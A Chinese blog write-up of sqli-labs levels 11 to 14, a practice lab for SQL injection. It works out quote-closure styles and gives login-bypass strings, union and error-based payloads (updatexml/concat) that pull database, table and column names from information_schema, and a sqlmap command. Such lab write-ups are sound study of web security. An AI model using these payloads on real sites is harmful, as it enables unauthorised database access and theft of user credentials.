首页 > 数据库 >sqli-labs 11到14题

sqli-labs 11到14题

时间:2023-05-29 10:35:52浏览次数:45  
标签:username 14 -- 0x7e 闭合 labs sqli 报错 password

第11题

打开是这种页面

随便输入一个账号密码,查看传参为post方式

 这个题有点奇怪,hackbar不能点运行,点了会说form.submit is not a function :不知道大家有没有遇到这种情况

 我们查看源码:

 应该是name="submit"冲突了

 使用burp suite抓包:

这种登录题一般使用万能密码试探一下,有的时候不做任何过滤直接可以过,就像这道题

 之后一个个爆账户密码:

大家注意Limit没有括号,我给加了个括号一直没有显示呜呜呜

 

或者选择慢慢爆库名表名字段名:

这里要注意:sql语句大概是这样的:

select username,password from users where username='$username' and password='$password' limit(0,1)

我们传入的username闭合了前一个' ,还有一个后面的' ,所以有两种处理方式来插入我们的order by以及其他sql语句:
第一种方式:

在username处闭合后不用password:
username=' 'or 1=1 order by 2-- -&password='      这里-- -后面的都被注释

 第二种方式:

将username的两个'都闭合:
方式为:username=' ' or '1'='1',我们要注入的sql语句在password之后,如下所示:

 以上两种方式都可以完成注入

 之后就是基础的union注入了。

或者使用sqlmap:
首先将burp抓到的包复制为文件,然后kali输入命令:

sqlmap -r "1.txt" --dbs

之后就可以愉快的继续啦

 第12题

打开也是跟上一题一样的界面,判断闭合方式(我是在bp里做的,我觉得一个一个试比较靠谱,因为没有报错信息)

可以这几个一个一个试: ‘、 ”、 “)、’)

本题为")方式闭合

 之后一个一个爆破账户名密码

 

第13题

首先判断闭合方式:

查看报错信息

 单引号报错,双引号不报错:跟单引号有关:

 注释后还是报错,说明不是'

 ’)不报错说明是')闭合

 发现只对错误回显

 找到闭合方式,但是没有正常回显,尝试用报错盲注

这里先说下报错盲注的原理:
如下图

 extractvalue中第二个参数为xml查询,显然0x7e:~并不是xml格式,因此会报错

报错信息会执行后面语句,可以注入;

第二种为updatexml函数,注意比extractvalue函数多一个后面的参数

 之后爆表明库名时记得在第二个参数上打括号,像这样

 知道怎么注入后,接下来就简单了:
爆库名:

uname=23&passwd=')and updatexml(1,concat(0x7e,database()),0x7e)-- - &submit=Submit

 爆表名:

uname=23&passwd=')and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0x7e)-- - &submit=Submit

 爆字段

uname=23&passwd=')and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0x7e)-- - &submit=Submit

剩下的都一样了。

第14题

判断闭合方式:

'不报错,"报错:闭合方式与"有关:

 " or 1=1-- -报错

") or 1=1-- -报错:

闭合方式为"

 

 错误会有回显,无错误不回显,为报错盲注,与上一题一样。

 

 

标签:username,14,--,0x7e,闭合,labs,sqli,报错,password
From: https://www.cnblogs.com/limihacker/p/17435693.html

相关文章

  • Appium自动化(14):Appium常用操作之app操作
    APP操作方法:appium支持对手机上的app进行管理和操作,有如下方法:1、install_app(self,app_path,**options):安装app,app_path为安装包路径2、remove_app(self,app_id,**options):卸载app,app_id为app包名3、is_app_installed(self,bundle_id):检查app是否有安装bundle_id为app包名......
  • AGC014
    我做AGC感觉主要是大考试之前紧急加训。所以导致半年了还没做过20套。感觉还有两个月大概是做不到40套了。算了摆大烂。事实上我们可以得到结论:如果放歌没有词那大概不会放出来,但是如果有一点点词就能过。目前不知道词要占到绝对数值或者相对比例的多少。不过可以肯定的是......
  • sqli_labs_master(LESS-11)
    LESS-11POST提交注入一般的登录情况都是采用的post提交数据、通过抓包获取到登录信息枚举数据库字段 查出回显字段......
  • Wimlib-imagex 1.14.1和ImageX Tool for Windows Version: 10.0.10011.16384是两款不
    Wimlib-imagex1.14.1和ImageXToolforWindowsVersion:10.0.10011.16384是两款不同的Windows镜像工具,它们之间存在一些区别。开发者不同:Wimlib-imagex是由OpenSourceCommunity开发的自由开源软件,而ImageXToolforWindows是Microsoft开发的商业软件。编写语言不同:Wi......
  • wimlib-imagex 1.14.1
    C:\Users\Administrator\Downloads\wimlib-1.14.1-windows-x86_64-bin>WIMLIB-IMAGEX--versionwimlib-imagex1.14.1(usingwimlib1.14.1)Copyright2012-2023EricBiggersLicenseGPLv3+;GNUGPLversion3orlater<https://gnu.org/licenses/gpl.html>.......
  • sqli_labs_master(LESS-5)
    LESS—5查看源代码得到$sql="SELECT*FROMusersWHEREid='$id'LIMIT0,1";采用的是''闭合,若直接使用/?id=1and1=1,则在sql语句中是$sql="SELECT*FROMusersWHEREid='id=1and1=1'LIMIT0,1";明显是错误的所以要/?id=1'and'1......
  • LeetCode 114. 二叉树展开为链表
    思路1classSolution{public:voidflatten(TreeNode*root){while(root){autop=root->left;if(p)//找到左儿子的右链{while(p->right)p=p->right;//将右链插入......
  • WIN10 由于找不到mfc140u.dll,无法继续执行代码
    最近遇到win10提示mfc140u.dll找不到,总是弹窗的问题.网上一番百度搜索后发现给的方法都不能很好的解决,DLL修复工具需登录且收费去下载mfc140u.dll根本不可能找到,都是垃圾病毒,危险⚠️经过google搜索后找到比较科学的方法:`thefileMFC140.DLLispartdtheVisualC++Redistr......
  • Educational Codeforces Round 149 (Rated for Div. 2)(A~F)
    A.GrasshopperonaLine题意:给出n,k,从0开始,每次可以加一个数,最快到达n需要,输出首先跳几次,然后每次跳多少,限制只有一个跳的长度不能整除k。分析:n%k,有余直接跳,没余数,先跳一个,再跳剩余的长度。代码:#include<cstring>#include<iostream>#include<algorithm>usingnamespac......
  • 145. Binary Tree Postorder Traversal刷题笔记
    问题描述后序遍历代码:#Definitionforabinarytreenode.#classTreeNode:#def__init__(self,val=0,left=None,right=None):#self.val=val#self.left=left#self.right=rightclassSolution:defpostorderTraversal(sel......